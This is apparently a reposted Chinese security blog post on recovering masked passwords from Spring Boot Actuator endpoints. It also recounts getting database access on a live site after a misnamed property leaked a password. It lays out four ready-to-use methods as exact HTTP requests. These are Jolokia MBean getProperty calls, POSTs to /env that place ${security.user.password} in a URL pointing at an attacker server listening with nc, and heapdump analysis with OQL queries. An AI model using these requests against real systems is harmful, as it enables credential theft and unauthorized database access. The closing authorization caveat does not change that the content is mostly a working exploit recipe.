前言
之前對spring boot的敏感信息泄露和rce漏洞進行了整理復現。
http://www.lxweimin.com/p/8c18f1e05c94
前段時間看到師傅們通過獲取env端點脫敏的數據庫密碼成功getshell,自己也動手嘗試下。
spring boot 獲取env端點脫敏數據
當訪問 /env 接口時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret、key等)的屬性名對應的屬性值用 * 號替換達到脫敏的效果。
如果對屬性名的命名不規范,則會導致敏感信息直接明文顯示出來。
如下為實戰中遇到的一個網站。
數據庫密碼屬性明文不規范,password命名為了passwd,導致密碼直接明文顯示出來。
數據庫地址為外網地址,直接登錄,成功獲取到了數據庫權限。
正常情況下spring actuator會使用*號進行脫敏處理。
GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ******關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名,嘗試進行脫敏處理,獲取明文。
方法一
利用條件:
1、目標網站存在 /jolokia 或 /actuator/jolokia 接口
2、目標使用了 jolokia-core 依賴(版本要求暫未知)
利用過程:
jolokia 調用相關 Mbean 獲取明文
調用 org.springframework.boot Mbean
實際調用的是 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 類實例的 getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
調用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相關依賴)
實際上是調用 org.springframework.cloud.context.environment.EnvironmentManager 類實例的 getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
方法二
利用條件
1、可以 GET 請求目標網站的 /env
2、可以 POST 請求目標網站的 /env
3、可以 POST 請求目標網站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依賴)
4、目標使用了 spring-cloud-starter-netflix-eureka-client 依賴
5、目標可出網
利用過程
使用 nc 監聽 HTTP 請求
1、在自己控制的外網服務器上監聽 80 端口:
nc -lvk 80
2、設置 eureka.client.serviceUrl.defaultZone 屬性
修改security.user.password為想要讀取的密文。
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
3、訪問/refresh端點刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
4、 解碼屬性值
正常的話,此時 nc 監聽的服務器會收到目標發來的請求,其中包含類似如下 Authorization 頭內容:
Authorization: Basic dmFsdWU6MTIzNDU2
使用base64解碼得到明文。
方法三
利用條件:
1、通過 POST /env 設置屬性觸發目標對外網指定地址發起任意 http 請求
2、請求可出外網
利用過程:
參考 UUUUnotfound 提出的 issue-1,可以在目標發外部 http 請求的過程中,在 url path 中利用占位符帶出數據
1、找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ****** 關鍵詞,確定其對應的屬性名。
2、 使用 nc 監聽 HTTP 請求
在自己控制的外網服務器上監聽 80 端口:
nc -lvk 80
3、觸發對外 http 請求
spring.cloud.bootstrap.location 方法(同時適用于明文數據中有特殊 url 字符的情況):
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
eureka.client.serviceUrl.defaultZone 方法(不適用于明文數據中有特殊 url 字符的情況):
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
4、刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
vps成功接收到密碼。
方法四
利用條件
1、目標不出網,且/jolokia 接口沒有合適的 MBean 或者不支持 POST 請求
2、目標存在/heapdump 或 /actuator/heapdump端點
利用過程
1、首先找到想要獲取的屬性名
2、下載 jvm heap 信息
訪問/heapdump 或 /actuator/heapdump端點,下載應用實時的 JVM 堆信息。
spring boot 1.x版本下載的heapdump文件包含了時間以及后綴,在spring boot 2.x版本,需要把下載到的heapdump文件修改為hprof后綴。
3、使用 Eclipse Memory Analyzer 獲得 jvm heap 中的密碼明文
下載地址:https://www.eclipse.org/mat/downloads.php
運行Eclipse Memory Analyzer,把文件導入進去,點擊OQL輸入執行的查詢語句,點擊感嘆號執行語句。
select * from org.springframework.web.context.support.StandardServletEnvironment
查找想要查看的密碼屬性,理論來說spring boot 1.x版本redis密碼存在java.util.Hashtable$Entry
實例的鍵值對中,2.x版本存儲在java.util.LinkedHashMap$Entry
實例的鍵值對中,實際情況中,無論1.x和2.x版本這2個實例都有可能存儲密碼屬性,也可能存儲在一些其它實例中,需要自行查找。
搜索存儲在java.util.LinkedHashMap$Entry
實例的密碼屬性。
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
搜索存儲在
java.util.Hashtable$Entry
實例的密碼屬性。
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
注意事項
POST訪問env端點修改屬性,會破壞原有屬性,影響網站系統正常使用。請在取得授權后進行測試,并且記錄原有屬性值,測試完成后及時修改回去,防止不必要的麻煩。
參考鏈接
https://zhuanlan.zhihu.com/p/147251883
https://github.com/LandGrey/SpringBootVulExploit